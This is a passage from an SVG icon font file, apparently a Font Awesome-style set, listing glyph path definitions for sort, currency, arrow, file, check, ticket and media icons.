30.75,0 l0-163.5 l 41.25,0 z" horiz-adv-x="384" data-tags="sort-by-order" />
<glyph unicode="&#xf161;" d="M 304-8l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-64,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 64,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 352,120l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-112,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 112,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 400,248l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-160,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 160,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448,376l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0  q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75z" data-tags="sort-by-attributes-alt" />
<glyph unicode="&#xf160;" d="M 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 448-8l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 208,0  q 3.5,0 5.75-2.25t 2.25-5.75zM 400,120l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-160,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 160,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 352,248l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-112,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 112,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 304,376l0-48 q0-3.5 -2.25-5.75t-5.75-2.25l-64,0  q-3.5,0 -5.75,2.25t-2.25,5.75l0,48 q0,3.5 2.25,5.75t 5.75,2.25l 64,0 q 3.5,0 5.75-2.25t 2.25-5.75z" data-tags="sort-by-attributes" />
<glyph unicode="&#xf15e;" d="M 297.75,26l 44.25,0 l-18,54.5l-3,11.75q-0.5,4 -0.5,5l-1,0 l-0.75-5q0-0.25 -0.875-4.5t-1.875-7.25zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 415.25-37.5 l0-26.5 l-72,0 l0,26.5 l 18.75,0 l-11.75,36l-60.75,0 l-11.75-36l 18.75,0 l0-26.5 l-71.75,0 l0,26.5 l 17.5,0 l 57.5,165.5l 40.5,0 l 57.5-165.5l 17.5,0 zM 393,250.25l0-58.25 l-146,0 l0,22.5 l 92.25,132.25q 3,4.5 5.25,6.75l 2.75,2.25l0,0.75 q-0.5,0 -1.625-0.125t-1.875-0.125q-3-0.75 -7.5-0.75l-58,0 l0-28.75 l-30,0 l0,57.25 l 141.75,0 l0-22.25 l-92.25-132.5q-1.5-2 -5.25-6.5l-2.75-2.5l0-0.75 l 3.5,0.75q 2.25,0.25 7.5,0.25l 62,0  l0,29.75 l 30.25,0 z" horiz-adv-x="416" data-tags="sort-by-alphabet-alt, alphabet" />
<glyph unicode="&#xf15d;" d="M 297.75,282l 44.25,0 l-18,54.5l-3,11.75q-0.5,4 -0.5,5l-1,0 l-0.75-5q0-0.25 -0.875-4.5t-1.875-7.25zM 184,24q0-3 -2.5-6l-79.75-79.75q-2.5-2.25 -5.75-2.25q-3,0 -5.75,2.25l-80,80q-3.75,4 -1.75,8.75q 2,5 7.5,5l 48,0 l0,344 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-344 l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 393-5.75 l0-58.25 l-146,0 l0,22.5 l 92.25,132.25q 3,4.5 5.25,6.75l 2.75,2.25l0,0.75 q-0.5,0 -1.625-0.125t-1.875-0.125q-3-0.75 -7.5-0.75l-58,0 l0-28.75 l-30,0 l0,57.25 l 141.75,0 l0-22.25 l-92.25-132.5q-1.5-2 -5.25-6.5l-2.75-2.75l0-0.5 l 3.5,0.5q 2.25,0.5 7.5,0.5l 62,0 l0,29.75 l 30.25,0 zM 415.25,218.5l0-26.5 l-72,0 l0,26.5 l 18.75,0 l-11.75,36l-60.75,0 l-11.75-36l 18.75,0 l0-26.5 l-71.75,0 l0,26.5 l 17.5,0 l 57.5,165.5l 40.5,0  l 57.5-165.5l 17.5,0 z" horiz-adv-x="416" data-tags="sort-by-alphabet, alphabet" />
<glyph unicode="&#xf15c;" d="M 256,40l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-176,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 176,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 256,104l0,16 q0,3.5 -2.25,5.75t-5.75,2.25l-176,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-16 q0-3.5 2.25-5.75t 5.75-2.25l 176,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 320,192l0-200 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7 t-7,17l0,336 q0,10 7,17t 17,7l 136,0 l0-136 q0-10 7-17t 17-7l 136,0 zM 319.25,224l-127.25,0 l0,127.25 q 20.5-3.75 33-16.25l 78-78q 12.5-12.5 16.25-33z" horiz-adv-x="320" data-tags="file-text" />
<glyph unicode="&#xf15b;" d="M 320,192l0-200 q0-10 -7-17t-17-7l-272,0 q-10,0 -17,7t-7,17l0,336 q0,10 7,17t 17,7l 136,0 l0-136 q0-10 7-17t 17-7l 136,0 zM 319.25,224l-127.25,0 l0,127.25 q 20.5-3.75 33-16.25l 78-78q 12.5-12.5 16.25-33z" horiz-adv-x="320" data-tags="file, new, paper, document" />
<glyph unicode="&#xf15a;" d="M 291.75,224q 4.5-45.5 -32.75-64.5q 29.25-7 43.75-25.75t 11.25-53.5q-1.75-17.75 -8.125-31.25t-16.125-22.25t-24.25-14.625t-30.375-8.625t-36.375-3.75l0-63.75 l-38.5,0 l0,62.75 q-20,0 -30.5,0.25l0-63 l-38.5,0 l0,63.75 q-4.5,0 -13.5,0.125t-13.75,0.125l-50,0 l 7.75,45.75l 27.75,0 q 12.5,0 14.5,12.75l0,100.5 l 4,0 q-1.5,0.25 -4,0.25l0,71.75 q-3.25,17 -22.25,17l-27.75,0 l0,41  l 53-0.25q 16,0 24.25,0.25l0,63 l 38.5,0 l0-61.75 q 20.5,0.5 30.5,0.5l0,61.25 l 38.5,0 l0-63 q 19.75-1.75 35-5.625t 28.25-11.25t 20.625-19.5t 9.125-28.625zM 238,87.75q0,9 -3.75,16t-9.25,11.5t-14.375,7.625t-16.375,4.625t-18.5,2.25t-17.25,0.75t-16.125-0.25t-11.875-0.25l0-84.5 q 2,0 9.25-0.125t 12-0.125t 13.25,0.375t 14.625,1t 14.25,2.125t 13.875,3.5t 11.875,5.25t 9.875,7.5 t 6.125,10t 2.375,12.75zM 220.25,206.75q0,8.25 -3.125,14.625t-7.625,10.5t-12,7t-13.75,4.125t-15.375,2t-14.5,0.625t-13.5-0.25t-9.875-0.125l0-76.75 q 1.25,0 8.625-0.125t 11.625,0t 12.5,0.5t 13.75,1.375t 12.875,2.75t 12.125,4.625t 9.25,6.75t 6.75,9.625t 2.25,12.75z" horiz-adv-x="320" data-tags="bitcoin, btc, currency, money" />
<glyph unicode="&#xf159;" d="M 128.5,85.25l 20.25,74.75l-39.75,0 l 18.75-75q 0.25-0.25 0.25-0.75t 0.25-0.75q0,0.25 0.125,0.875t 0.125,0.875zM 157.5,192l 8.75,32l-73,0 l 8-32l 56.25,0 zM 205.5,192l 34.75,0 l-8.75,32l-17.5,0 zM 317.75,85l 19.5,75l-40.5,0 l 20.25-74.75q0-0.25 0.125-0.875t 0.375-0.875q0,0.25 0.125,0.75t 0.125,0.75zM 345.5,192l 8.25,32l-74.25,0 l 8.5-32l 57.5,0 zM 448,184l0-16 q0-3.5 -2.25-5.75 t-5.75-2.25l-53.25,0 l-41-154q-1.75-6 -7.75-6l-39.75,0 q-6,0 -7.75,6l-41.5,154l-52.25,0 l-41.75-154q-1.75-6 -7.75-6l-39.75,0 q-2.75,0 -4.875,1.75t-2.625,4.25l-40,154l-52,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 43.75,0 l-8.25,32l-35.5,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 27.25,0 l-22.25,86q-1.25,3.75 1.25,7 q 2.5,3 6.5,3l 34.25,0 q 6.5,0 7.75-6l 22.5-90l 89.75,0 l 24.25,90q 1.75,6 7.75,6l 31.5,0 q 6,0 7.75-6l 24.5-90l 91.25,0 l 23.25,90q 1.25,6 7.75,6l 34.25,0 q 4,0 6.5-3q 2.5-3.25 1.25-7l-22.75-86l 27.75,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-36.25,0 l-8.5-32l 44.75,0 q 3.5,0 5.75-2.25t 2.25-5.75z" data-tags="won, krw, currency, money" />
<glyph unicode="&#xf158;" d="M 416,88l0-8 q0-33 -23.5-56.5t-56.5-23.5l-32,0 q-33,0 -56.5,23.5t-23.5,56.5l0,120 l-56,0 q-0.5-25.5 -3.625-47.625t-7.625-39t-12.125-31.625t-14.25-24.875t-16.875-19.375t-17.375-14.625t-18.5-11t-17.25-8t-16.375-6.375q-1-0.5 -8-3.25q-2-0.5 -3-0.5q-5.5,0 -7.5,5l-17.75,44.5q-1.25,3.25 0,6.25t 4.25,4.25 q 1.75,0.75 5,1.875t 4.5,1.625q 7.75,3 11.625,4.625t 11.125,5t 11.375,6.5t 10.5,8.125t 10.125,10.625t 8.625,13.375t 7.625,17.125t 5.625,20.875t 4.25,25.75t 1.625,30.75l-64,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,40 q0,3.5 2.25,5.75t 5.75,2.25l 304,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-40 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-128 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25 l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 48,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 320,344l0-40 q0-3.5 -2.25-5.75t-5.75-2.25l-240,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,40 q0,3.5 2.25,5.75t 5.75,2.25l 240,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="416" data-tags="renminbi, cny, currency, money" />
<glyph unicode="&#xf157;" d="M 150.625,0l-43,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,82.5 l-72,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,25.75 q0,3.25 2.375,5.625t 5.625,2.375l 72,0 l0,21.25 l-72,0 q-3.25,0 -5.625,2.25t-2.375,5.75l0,26 q0,3.25 2.375,5.625t 5.625,2.375l 53.5,0 l-80.25,144.5q-2,4 0,8q 2.5,4 7,4l 48.5,0 q 4.75,0 7.25-4.5l 53.75-106.25q 4.75-9.5 14-31.25q 2.5,6 7.625,17t 6.875,15.25 l 47.75,105q 2,4.75 7.25,4.75l 47.75,0 q 4.25,0 6.75-4q 2.25-3.5 0.25-7.75l-78.25-144.75l 53.75,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-26 q0-3.5 -2.375-5.75t-5.625-2.25l-72.5,0 l0-21.25 l 72.5,0 q 3.25,0 5.625-2.375t 2.375-5.625l0-25.75 q0-3.5 -2.375-5.75t-5.625-2.25l-72.5,0 l0-82.5 q0-3.25 -2.375-5.625t-5.625-2.375z" horiz-adv-x="256.5" data-tags="yen, jpy, currency, money" />
<glyph unicode="&#xf156;" d="M 224.5,266.5l0-25.5 q0-3.5 -2.25-5.75t-5.75-2.25l-42,0 q-5.75-36 -32.25-58.5t-69-27.5q 41.75-44.5 114.75-134q 3.5-4 1-8.5q-2-4.5 -7.25-4.5l-48.75,0 q-4,0 -6.25,3q-76.5,91.75 -124.5,142.75q-2.25,2.25 -2.25,5.5l0,31.75 q0,3.25 2.375,5.625t 5.625,2.375l 28,0 q 33,0 53.125,10.75t 25.625,31.25l-106.75,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,25.5  q0,3.5 2.25,5.75t 5.75,2.25l 103.25,0 q-14.25,28.25 -67,28.25l-36.25,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,33.25 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-25.5 q0-3.5 -2.25-5.75t-5.75-2.25l-58.25,0 q 11.75-15.25 16-36l 42.75,0 q 3.5,0 5.75-2.25t 2.25-5.75z" horiz-adv-x="224.5" data-tags="rupee, inr, currency, money" />
<glyph unicode="&#xf155;" d="M 244.5,87.75q0-38.25 -24.875-65.875t-64.625-34.125l0-43.75 q0-3.5 -2.25-5.75t-5.75-2.25l-33.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,43.75 q-16.5,2.25 -31.875,7.75t-25.375,11.125t-18.5,12t-11.625,9.375t-4.375,4.5q-4.25,5.25 -0.5,10.25l 25.75,33.75q 1.75,2.5 5.75,3q 3.75,0.5 6-2.25l 0.5-0.5q 28.25-24.75 60.75-31.25q 9.25-2 18.5-2q 20.25,0 35.625,10.75 t 15.375,30.5q0,7 -3.75,13.25t-8.375,10.5t-14.625,9.375t-16.5,8t-20,8.125q-9.75,4 -15.375,6.25t-15.375,6.625t-15.625,7.75t-14.125,8.875t-13.375,10.625t-10.875,12.25t-8.875,14.5t-5.25,16.625t-2.125,19.5q0,34.5 24.5,60.5t 63.75,33.5l0,45 q0,3.25 2.375,5.625t 5.625,2.375l 33.75,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-44 q 14.25-1.5 27.625-5.75t 21.75-8.375 t 15.875-9.375t 9.75-7.25t 3.75-3.5q 4.25-4.5 1.25-9.5l-20.25-36.5q-2-3.75 -5.75-4q-3.5-0.75 -6.75,1.75q-0.75,0.75 -3.625,3t-9.75,6.625t-14.625,8t-18.625,6.5t-21.375,2.875q-23.75,0 -38.75-10.75t-15-27.75q0-6.5 2.125-12t 7.375-10.375t 9.875-8.25t 14-7.75t 15.125-6.75t 17.5-6.875q 13.25-5 20.25-7.875t 19-8.75t 18.875-10.625t 15.5-12.5 t 13.25-15.875t 7.875-19.125t 3.25-23.5z" horiz-adv-x="256" data-tags="dollar, usd, currency, dollar" />
<glyph unicode="&#xf154;" d="M 255,99.75l0-91.75 q0-3.5 -2.25-5.75t-5.75-2.25l-239,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,37.5 q0,3.25 2.375,5.625t 5.625,2.375l 24.25,0 l0,95.75 l-23.75,0 q-3.5,0 -5.75,2.375t-2.25,5.625l0,32.75 q0,3.5 2.25,5.75t 5.75,2.25l 23.75,0 l0,55.75 q0,42.75 30.875,70.5t 78.625,27.75q 46.25,0 83.75-31.25q 2.25-2 2.5-5.125t-1.75-5.625l-25.75-31.75q-2.25-2.75 -5.5-3q-3.25-0.5 -5.75,1.75 q-1.25,1.25 -6.5,4.75t-17.25,8t-23.25,4.5q-21.25,0 -34.25-11.75t-13-30.75l0-53.75 l 76.25,0 q 3.25,0 5.625-2.25t 2.375-5.75l0-32.75 q0-3.25 -2.375-5.625t-5.625-2.375l-76.25,0 l0-94.75 l 103.5,0 l0,45.25 q0,3.25 2.25,5.625t 5.75,2.375l 40.5,0 q 3.5,0 5.75-2.375t 2.25-5.625z" horiz-adv-x="256" data-tags="gbp, currency, money" />
<glyph unicode="&#xf153;" d="M 244,57.25l 8.75-39.75q 0.75-3 -0.75-5.625t-4.25-3.625l-1.25-0.25q-1-0.5 -2.625-0.875t-4-1.125t-5.375-1.375t-6.375-1.25t-7.5-1.25t-8.375-1.125t-9.125-0.75t-9.625-0.25q-58.5,0 -102.25,32.625t-59.5,87.875l-23.75,0 q-3.25,0 -5.625,2.375t-2.375,5.625l0,28.25 q0,3.25 2.375,5.625t 5.625,2.375l 16.5,0 q-0.5,14.25 0.25,26.25l-16.75,0 q-3.5,0 -5.75,2.25 t-2.25,5.75l0,28.5 q0,3.5 2.25,5.75t 5.75,2.25l 24.5,0 q 16.75,52.5 60.875,84.5t 100.125,32q 25.5,0 48.5-5.75q 2.75-0.75 5-3.75q 1.5-2.75 0.75-6l-10.75-39.75q-0.75-3.25 -3.5-4.875t-6-0.625l-1,0.25q-1,0.25 -2.875,0.625l-4.375,0.875t-5.625,0.875t-6.5,0.75t-7.25,0.625t-7.375,0.25q-31.5,0 -56.5-16t-37.5-44l 117,0 q 4,0 6.25-3q 2.5-3 1.75-6.5 l-6-28.5q-1.25-6.5 -8-6.5l-122,0 q-0.75-9.25 0-26.25l 114.75,0 q 3.75,0 6.25-3q 2.25-3 1.5-6.75l-6-28q-0.5-2.75 -2.75-4.625t-5-1.875l-96.75,0 q 12-29.25 37.375-46.375t 57.125-17.125q 4.5,0 9,0.375t 8.375,0.875t 7.375,1.125t 6.125,1.25t 4.625,1.125l 3,0.75l 1.25,0.5q 3.25,1.25 6.5-0.5q 3-1.75 3.75-5.25z" horiz-adv-x="256" data-tags="euro, currency, money" />
<glyph unicode="&#xf152;" d="M 272,160q0-8.25 -6.75-13l-112-80q-7.75-5.75 -16.5-1.25q-8.75,4.25 -8.75,14.25l0,160 q0,10 8.75,14.25q 8.75,4.5 16.5-1.25l 112-80q 6.75-4.75 6.75-13zM 320,40l0,240 q0,3.5 -2.25,5.75t-5.75,2.25l-240,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-240 q0-3.5 2.25-5.75t 5.75-2.25l 240,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 384,280l0-240 q0-29.75 -21.125-50.875 t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="expand, right, arrow" />
<glyph unicode="&#xf151;" d="M 286.25,104.75q-4.25-8.75 -14.25-8.75l-160,0 q-10,0 -14.25,8.75q-4.5,8.75 1.25,16.5l 80,112q 4.75,6.75 13,6.75t 13-6.75l 80-112q 5.75-7.75 1.25-16.5zM 320,40l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-240,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 240,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="collapse-top, up, arrow" />
<glyph unicode="&#xf150;" d="M 286.25,215.25q 4.5-8.75 -1.25-16.5l-80-112q-4.75-6.75 -13-6.75t-13,6.75l-80,112q-5.75,7.75 -1.25,16.5q 4.25,8.75 14.25,8.75l 160,0 q 10,0 14.25-8.75zM 320,40l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-240,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 240,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="collapse, arrow, down" />
<glyph unicode="&#xf14e;" d="M 160,112l 64,32l-64,32l0-64 zM 256,259.75l0-135.5 l-128-64l0,135.5 zM 328,160q0,37 -18.25,68.25t-49.5,49.5t-68.25,18.25t-68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75 t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384" data-tags="compass, location, direction, guide" />
<glyph unicode="&#xf14d;" d="M 251.25,108.75l 88,88q 4.75,4.75 4.75,11.25t-4.75,11.25l-88,88q-7.5,7.75 -17.25,3.5q-10-4.25 -10-14.75l0-40 q-29.75,0 -54-4.875t-40.625-12.75t-28.5-19.75t-19.125-23.875t-11.125-27.25t-5.375-27.875t-1.25-27.625q0-45.25 41.75-101q 2.5-3 6.25-3q 1.75,0 3.25,0.75q 5.5,2.25 4.75,8.25q-11,88.5 15.5,118.25q 11.5,13 32.5,18.875 t 56,5.875l0-40 q0-10.5 10-14.75q 3-1.25 6-1.25q 6.5,0 11.25,4.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="share-sign" />
<glyph unicode="&#xf14c;" d="M 320,152l0,120 q0,6.5 -4.75,11.25t-11.25,4.75l-120,0 q-10.5,0 -14.75-9.75q-4.25-10.25 3.5-17.5l 36-36l-133.5-133.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 25.5-25.5q 4.75-4.75 11.25-4.75t 11.25,4.75l 133.5,133.5l 36-36q 4.5-4.75 11.25-4.75q 3,0 6.25,1.25q 9.75,4.25 9.75,14.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0  q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="external-link-sign, outside, popup" />
<glyph unicode="&#xf14b;" d="M 101,107l 38-38l-13-13l-14,0 l0,24 l-24,0 l0,14 zM 204.5,204.5q 3.5-3.25 -0.75-7.5l-72.75-72.75q-4.25-4.25 -7.5-0.75q-3.5,3.25 0.75,7.5l 72.75,72.75q 4.25,4.25 7.5,0.75zM 136,32l 136,136l-72,72l-136-136l0-72 l 72,0 zM 288,184l 23,23q 7,7 7,17t-7,17l-38,38q-7,7 -17,7t-17-7l-23-23zM 384,280 l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="edit-sign, pencil" />
<glyph unicode="&#xf14a;" d="M 171.25,59.25l 153.5,153.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-25.5,25.5q-4.75,4.75 -11.25,4.75t-11.25-4.75l-116.75-116.75l-52.75,52.75q-4.75,4.75 -11.25,4.75t-11.25-4.75l-25.5-25.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 89.5-89.5q 4.75-4.75 11.25-4.75t 11.25,4.75zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125 t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384" data-tags="check-sign, check, tick" />
<glyph unicode="&#xf149;" d="M 8,320l 176,0 q 3.25,0 5.625-2.375t 2.375-5.875l0-215.75 l 48,0 q 10,0 14.5-9.25t-2.25-17.25l-80-96q-4.5-5.5 -12.25-5.5t-12.25,5.5l-80,96q-6.5,7.75 -2.25,17.25q 4.5,9.25 14.5,9.25l 48,0 l0,160 l-80,0 q-3.5,0 -6.25,2.75l-40,48q-3.25,3.5 -1,8.5q 2.25,4.75 7.25,4.75z" horiz-adv-x="256" data-tags="level-down, down" />
<glyph unicode="&#xf148;" d="M 254.5,233.25q-4.5-9.25 -14.5-9.25l-48,0 l0-216 q0-3.5 -2.25-5.75t-5.75-2.25l-176,0 q-5.25,0 -7.25,4.5q-2,5 1,8.75l 40,48q 2.25,2.75 6.25,2.75l 80,0 l0,160 l-48,0 q-10,0 -14.5,9.25q-4.25,9.25 2.25,17l 80,96q 4.5,5.5 12.25,5.5t 12.25-5.5l 80-96q 6.75-8 2.25-17z" horiz-adv-x="256" data-tags="level-up, up" />
<glyph unicode="&#xf147;" d="M 288,184l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-208,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 208,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 320,72l0,208 q0,16.5 -11.75,28.25t-28.25,11.75l-208,0 q-16.5,0 -28.25-11.75t-11.75-28.25l0-208 q0-16.5 11.75-28.25t 28.25-11.75l 208,0 q 16.5,0 28.25,11.75t 11.75,28.25zM 352,280l0-208 q0-29.75 -21.125-50.875 t-50.875-21.125l-208,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,208 q0,29.75 21.125,50.875t 50.875,21.125l 208,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="352" data-tags="check-minus, subtract, remove, delete" />
<glyph unicode="&#xf146;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-224,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 224,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240 q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125 t 21.125-50.875z" horiz-adv-x="384" data-tags="minus-sign-alt, subtract, remove, delete" />
<glyph unicode="&#xf145;" d="M 256,271l 79-79l-143-143l-79,79zM 203.25,26.25l 154.5,154.5q 4.75,4.75 4.75,11.25t-4.75,11.25l-90.5,90.5q-4.5,4.5 -11.25,4.5t-11.25-4.5l-154.5-154.5q-4.75-4.75 -4.75-11.25t 4.75-11.25l 90.5-90.5q 4.5-4.5 11.25-4.5t 11.25,4.5zM 425.5,185.5l-226.75-227q-9.25-9.25 -22.625-9.25t-22.625,9.25l-31.5,31.5q 14,14 14,34t-14,34 t-34,14t-34-14l-31.25,31.5q-9.25,9.25 -9.25,22.625t 9.25,22.625l 226.75,226.5q 9.25,9.25 22.625,9.25t 22.625-9.25l 31.25-31.25q-14-14 -14-34t 14-34t 34-14t 34,14l 31.5-31.25q 9.25-9.25 9.25-22.625t-9.25-22.625z" data-tags="ticket" />
<glyph unicode="&#xf144;" d="M 192,352q 52.25,0 96.375-25.75t 69.875-69.875t 25.75-96.375t-25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75zM 288,146.25q 8,4.5 8,13.75t-8,13.75l-136,80q-7.75,4.75 -16,0.25q-8-4.75 -8-14l0-160 q0-9.25 8-14 q 4-2 8-2q 4.25,0 8,2.25z" horiz-adv-x="384" data-tags="play-sign, media control, video, movie, film" />
<glyph unicode="&#xf143;" d="M 128,64q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 215.75,40.5q-3.25,58 -44.25,99t-99,44.25q-3.5,0.25 -6-2.25t-2.5-5.75l0-32 q0-3.25 2.125-5.5t 5.375-2.5q 38.5-2.75 66-30.25t 30.25-66q 0.25-3.25 2.5-5.375t 5.5-2.125l 32,0 q 3.25,0 5.75,2.5 t 2.25,6zM 311.75,40.25q-1.25,38.5 -14,74.375t-34.875,65t-51.25,51.25t-65,34.875t-74.375,14q-3.5,0.25 -5.75-2.25q-2.5-2.5 -2.5-5.75l0-32 q0-3.25 2.25-5.5t 5.5-2.5q 51-1.75 94.5-27.875t 69.625-69.625t 27.875-94.5q 0.25-3.25 2.5-5.5t 5.5-2.25l 32,0 q 3.25,0 5.75,2.5q 2.75,2.25 2.25,5.75zM 384,280l0-240 q0-29.75 -21.125-50.875 t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 